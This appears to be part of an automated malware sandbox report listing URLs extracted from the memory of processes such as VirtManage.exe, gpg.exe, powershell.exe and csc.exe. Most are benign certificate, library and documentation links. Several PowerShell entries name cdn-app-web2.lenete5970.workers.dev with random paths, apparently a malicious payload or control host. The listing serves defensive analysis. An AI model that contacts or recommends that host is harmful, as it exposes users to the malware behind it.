Source: csc.exe, 00000028.00000003.1618431302.000001C1E821F000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618356338.000001C1E821B000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000002.1622001131.000001C1E8221000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618004039.000001C1E8215000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/Date.UmAlQuraCalendar.jsT
Source: csc.exe, 00000028.00000003.1618646347.000001C1E820E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1620728554.000001C1E8212000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618777265.000001C1E8211000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618409354.000001C1E8208000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618519165.000001C1E820D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjax.debug.jsT
Source: csc.exe, 00000028.00000003.1618646347.000001C1E820E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1620728554.000001C1E8212000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618777265.000001C1E8211000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618409354.000001C1E8208000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618519165.000001C1E820D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjax.jsT
Source: csc.exe, 00000028.00000003.1618431302.000001C1E821F000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618356338.000001C1E821B000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000002.1622001131.000001C1E8221000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618004039.000001C1E8215000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjaxApplicationServices.debug.jsT
Source: csc.exe, 00000028.00000003.1618646347.000001C1E820E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1620728554.000001C1E8212000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618777265.000001C1E8211000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618409354.000001C1E8208000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618519165.000001C1E820D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjaxApplicationServices.jsT
Source: csc.exe, 00000028.00000003.1618431302.000001C1E821F000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618356338.000001C1E821B000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000002.1622001131.000001C1E8221000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618004039.000001C1E8215000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjaxComponentModel.debug.jsT
Source: csc.exe, 00000028.00000003.1618646347.000001C1E820E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1620728554.000001C1E8212000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618777265.000001C1E8211000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618409354.000001C1E8208000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618519165.000001C1E820D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjaxComponentModel.jsT
Source: csc.exe, 00000028.00000003.1618646347.000001C1E820E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1620728554.000001C1E8212000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618777265.000001C1E8211000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618409354.000001C1E8208000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618519165.000001C1E820D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjaxCore.debug.jsT
Source: csc.exe, 00000028.00000003.1618646347.000001C1E820E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1620728554.000001C1E8212000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618777265.000001C1E8211000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618409354.000001C1E8208000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618519165.000001C1E820D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjaxCore.jsT
Source: csc.exe, 00000028.00000003.1618431302.000001C1E821F000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618356338.000001C1E821B000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000002.1622001131.000001C1E8221000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618004039.000001C1E8215000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjaxGlobalization.debug.jsT
Source: csc.exe, 00000028.00000003.1618646347.000001C1E820E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1620728554.000001C1E8212000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618777265.000001C1E8211000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618409354.000001C1E8208000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618519165.000001C1E820D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjaxGlobalization.jsT
Source: csc.exe, 00000028.00000003.1618646347.000001C1E820E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000002.1621926068.000001C1E8214000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1620728554.000001C1E8212000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618777265.000001C1E8211000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618409354.000001C1E8208000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618519165.000001C1E820D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjaxHistory.debug.jsT
Source: csc.exe, 00000028.00000003.1618646347.000001C1E820E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1620728554.000001C1E8212000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618777265.000001C1E8211000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618409354.000001C1E8208000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618519165.000001C1E820D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjaxHistory.jsT
Source: csc.exe, 00000028.00000003.1618431302.000001C1E821F000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618356338.000001C1E821B000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000002.1622001131.000001C1E8221000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618004039.000001C1E8215000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjaxNetwork.debug.jsT
Source: csc.exe, 00000028.00000003.1618646347.000001C1E820E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1620728554.000001C1E8212000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618777265.000001C1E8211000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618409354.000001C1E8208000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618519165.000001C1E820D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjaxNetwork.jsT
Source: csc.exe, 00000028.00000003.1618431302.000001C1E821F000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618356338.000001C1E821B000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000002.1622001131.000001C1E8221000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618004039.000001C1E8215000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjaxSerialization.debug.jsT
Source: csc.exe, 00000028.00000003.1618646347.000001C1E820E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1620728554.000001C1E8212000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618777265.000001C1E8211000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618409354.000001C1E8208000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618519165.000001C1E820D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjaxSerialization.jsT
Source: csc.exe, 00000028.00000003.1618646347.000001C1E820E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000002.1621926068.000001C1E8214000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1620728554.000001C1E8212000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618777265.000001C1E8211000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618409354.000001C1E8208000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618519165.000001C1E820D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjaxTimer.debug.jsT
Source: csc.exe, 00000028.00000003.1618646347.000001C1E820E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1620728554.000001C1E8212000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618777265.000001C1E8211000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618409354.000001C1E8208000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618519165.000001C1E820D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjaxTimer.jsT
Source: csc.exe, 00000028.00000003.1618646347.000001C1E820E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1620728554.000001C1E8212000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618777265.000001C1E8211000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618409354.000001C1E8208000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618519165.000001C1E820D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjaxWebForms.debug.jsT
Source: csc.exe, 00000028.00000003.1618646347.000001C1E820E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1620728554.000001C1E8212000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618777265.000001C1E8211000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618409354.000001C1E8208000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618519165.000001C1E820D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjaxWebForms.jsT
Source: csc.exe, 00000028.00000003.1618431302.000001C1E821F000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618356338.000001C1E821B000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000002.1622001131.000001C1E8221000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618004039.000001C1E8215000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjaxWebServices.debug.jsT
Source: csc.exe, 00000028.00000003.1618431302.000001C1E821F000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618356338.000001C1E821B000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000002.1622001131.000001C1E8221000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1618004039.000001C1E8215000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjaxWebServices.jsT
Source: powershell.exe, 00000023.00000002.2949887031.00000209C78BF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2949887031.00000209C74ED000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://cdn-app-web2.lenete5970.workers.dev
Source: VirtManage.exe, 00000000.00000003.1103357225.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, VirtManage.exe, 00000000.00000003.1102315934.0000000002C80000.00000004.00001000.00020000.00000000.sdmp, libassuan-9.dll.0.dr, gpg-agent.exe.0.drString found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: VirtManage.exe, 00000000.00000003.1103357225.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, VirtManage.exe, 00000000.00000003.1102315934.0000000002C80000.00000004.00001000.00020000.00000000.sdmp, libassuan-9.dll.0.dr, gpg-agent.exe.0.drString found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0V
Source: VirtManage.exe, 00000000.00000003.1103357225.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, VirtManage.exe, 00000000.00000003.1102315934.0000000002C80000.00000004.00001000.00020000.00000000.sdmp, libassuan-9.dll.0.dr, gpg-agent.exe.0.drString found in binary or memory: http://crl.globalsign.com/gsgccr45codesignca2020.crl0
Source: VirtManage.exe, 00000000.00000003.1103357225.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, VirtManage.exe, 00000000.00000003.1102315934.0000000002C80000.00000004.00001000.00020000.00000000.sdmp, libassuan-9.dll.0.dr, gpg-agent.exe.0.drString found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: powershell.exe, 00000026.00000002.1548555787.0000019200A5B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://go.micros
Source: VirtManage.exeString found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000023.00000002.3011474935.00000209D6BD2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.1567661185.0000019210073000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
Source: VirtManage.exe, 00000000.00000003.1103357225.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, VirtManage.exe, 00000000.00000003.1102315934.0000000002C80000.00000004.00001000.00020000.00000000.sdmp, libassuan-9.dll.0.dr, gpg-agent.exe.0.drString found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: VirtManage.exe, 00000000.00000003.1103357225.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, VirtManage.exe, 00000000.00000003.1102315934.0000000002C80000.00000004.00001000.00020000.00000000.sdmp, libassuan-9.dll.0.dr, gpg-agent.exe.0.drString found in binary or memory: http://ocsp.globalsign.com/codesigningrootr450F
Source: VirtManage.exe, 00000000.00000003.1103357225.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, VirtManage.exe, 00000000.00000003.1102315934.0000000002C80000.00000004.00001000.00020000.00000000.sdmp, libassuan-9.dll.0.dr, gpg-agent.exe.0.drString found in binary or memory: http://ocsp.globalsign.com/gsgccr45codesignca20200V
Source: VirtManage.exe, 00000000.00000003.1103357225.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, VirtManage.exe, 00000000.00000003.1102315934.0000000002C80000.00000004.00001000.00020000.00000000.sdmp, libassuan-9.dll.0.dr, gpg-agent.exe.0.drString found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: powershell.exe, 00000026.00000002.1548555787.0000019200222000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000023.00000002.2949887031.00000209C7048000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2949887031.00000209C7B2F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.1548555787.00000192004F1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000023.00000002.2949887031.00000209C6B61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.1548555787.0000019200001000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000023.00000002.2949887031.00000209C7048000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2949887031.00000209C7B2F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.1548555787.00000192004F1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: VirtManage.exe, 00000000.00000003.1103357225.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, VirtManage.exe, 00000000.00000003.1102315934.0000000002C80000.00000004.00001000.00020000.00000000.sdmp, libassuan-9.dll.0.dr, gpg-agent.exe.0.drString found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
Source: VirtManage.exe, 00000000.00000003.1103357225.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, VirtManage.exe, 00000000.00000003.1102315934.0000000002C80000.00000004.00001000.00020000.00000000.sdmp, libassuan-9.dll.0.dr, gpg-agent.exe.0.drString found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45codesignca2020.crt0=
Source: VirtManage.exe, 00000000.00000003.1103357225.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, VirtManage.exe, 00000000.00000003.1102315934.0000000002C80000.00000004.00001000.00020000.00000000.sdmp, libassuan-9.dll.0.dr, gpg-agent.exe.0.drString found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: powershell.exe, 00000026.00000002.1548555787.0000019200222000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000023.00000002.3019896899.00000209DED99000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.microsoft.co
Source: VirtManage.exe, 00000000.00000003.1103357225.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, VirtManage.exe, 00000000.00000003.1102315934.0000000002C80000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000002.00000002.1131059723.00000000630A7000.00000008.00000001.01000000.0000000B.sdmp, gpg.exe, 00000004.00000002.1136214554.00000000630A7000.00000008.00000001.01000000.0000000B.sdmp, gpg.exe, 00000006.00000002.1142063831.00000000630A7000.00000008.00000001.01000000.0000000B.sdmp, gpg.exe, 0000000B.00000002.1196418537.00000000630A7000.00000008.00000001.01000000.0000000B.sdmp, gpg.exe, 00000013.00000002.1246583680.00000000630A7000.00000008.00000001.01000000.0000000B.sdmpString found in binary or memory: http://www.zlib.net/D
Source: powershell.exe, 00000023.00000002.2949887031.00000209C6B61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.1548555787.0000019200001000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000026.00000002.1548555787.00000192004F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.1548555787.0000019201FF4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 00000023.00000002.2949887031.00000209C83A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.1548555787.000001920201A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.1548555787.00000192011B6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.1548555787.0000019201FF4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/winsvr-2022-pshelpX
Source: VirtManage.exe, 00000000.00000003.1103357225.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000002.00000000.1126133473.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000004.00000000.1133099419.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000006.00000002.1141383567.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000B.00000000.1192431295.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000013.00000000.1233716876.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg-agent.exe.0.drString found in binary or memory: https://bugs.gnupg.org
Source: VirtManage.exe, 00000000.00000003.1103357225.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000002.00000000.1126133473.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000004.00000000.1133099419.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000006.00000002.1141383567.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000B.00000000.1192431295.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000013.00000000.1233716876.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg-agent.exe.0.drString found in binary or memory: https://bugs.gnupg.orgGnuPGgpggpgsmgpg-agentgpgtarEMAILGNUPGGPGGPGSMGPG_AGENTSCDAEMONTPM2DAEMONDIRMN
Source: powershell.exe, 00000023.00000002.2949887031.00000209C7254000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://cdn-app-web2.lene
Source: powershell.exe, 00000023.00000002.2949887031.00000209C7254000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://cdn-app-web2.lenete597
Source: powershell.exe, 00000023.00000002.2949887031.00000209C7254000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://cdn-app-web2.lenete5970.wor
Source: powershell.exe, 00000023.00000002.2949887031.00000209C7254000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://cdn-app-web2.lenete5970.workers.
Source: powershell.exe, 00000023.00000002.2949887031.00000209C78BF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2949887031.00000209C74A8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2949887031.00000209C7514000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://cdn-app-web2.lenete5970.workers.dev
Source: 7za.exe, 00000015.00000003.1250057509.0000025476370000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2949887031.00000209C6F42000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2949887031.00000209C7048000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.3019753298.00000209DED00000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000023.00000002.3011474935.00000209D6E5B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.3011474935.00000209D6BD2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2949887031.00000209C730E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.3011474935.00000209D6B61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2949887031.00000209C8F38000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2949887031.00000209C7254000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000028.00000002.1622803485.000001C1E82B5000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1617591407.000001C1E8291000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1621110947.000001C1E8201000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1617484610.000001C1E82A2000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000002.1621790047.000001C1E8204000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1621078947.000001C1E81F9000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1620573398.000001C1E9C2B000.00000004.00001000.00020000.00000000.sdmp, csc.exe, 00000028.00000003.1621014028.000001C1E81F3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn-app-web2.lenete5970.workers.dev/
Source: powershell.exe, 00000023.00000002.2949887031.00000209C7514000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://cdn-app-web2.lenete5970.workers.dev//6DaLJPez1Ng/
Source: powershell.exe, 00000023.00000002.2949887031.00000209C74A8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://cdn-app-web2.lenete5970.workers.dev//FNQ0cXh1/
Source: powershell.exe, 00000023.00000002.2949887031.00000209C74A8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://cdn-app-web2.lenete5970.workers.dev//FNQ0cXh1/X
Source: powershell.exe, 00000023.00000002.2949887031.00000209C74A8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://cdn-app-web2.lenete5970.workers.dev//FNQ0cXh1/p
Source: powershell.exe, 00000023.00000002.2949887031.00000209C78BF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://cdn-app-web2.lenete5970.workers.dev//HJW75v3rPvZ/
Source: powershell.exe, 00000023.00000002.2949887031.00000209C74ED000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://cdn-app-web2.lenete5970.workers.dev//HJW75v3rPvZ/p
Source: powershell.exe, 00000023.00000002.2949887031.00000209C78BF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://cdn-app-web2.lenete5970.workers.dev//iyoTnZHXee6UU1/
Source: powershell.exe, 00000023.00000002.2949887031.00000209C78BF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2949887031.00000209C7587000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://cdn-app-web2.lenete5970.workers.dev//y/
Source: powershell.exe, 00000026.00000002.1567661185.0000019210073000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000026.00000002.1567661185.0000019210073000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000026.00000002.1567661185.0000019210073000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000026.00000002.1548555787.0000019200222000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
Source: gpg.exe, 00000013.00000002.1247748394.000000006B4A8000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://gnu.org/licenses/
Source: gpg.exe, 00000013.00000002.1247748394.000000006B4A8000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://gnu.org/licenses/gpl.html
Source: VirtManage.exe, 00000000.00000003.1103357225.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000002.00000000.1126133473.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000004.00000000.1133099419.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000006.00000002.1141383567.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000B.00000000.1192431295.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000013.00000000.1233716876.00000000004FA000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: https://gnupg.org/faq/subkey-cross-certify.html
Source: VirtManage.exe, 00000000.00000003.1103357225.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000002.00000000.1126133473.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000004.00000000.1133099419.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000006.00000002.1141383567.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000B.00000000.1192431295.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000013.00000000.1233716876.00000000004FA000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: https://gnupg.org/faq/subkey-cross-certify.htmlWARNING:
Source: VirtManage.exe, 00000000.00000003.1103357225.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, VirtManage.exe, 00000000.00000003.1102315934.0000000002C80000.00000004.00001000.00020000.00000000.sdmp, libassuan-9.dll.0.dr, gpg-agent.exe.0.drString found in binary or memory: https://gnupg.org0/
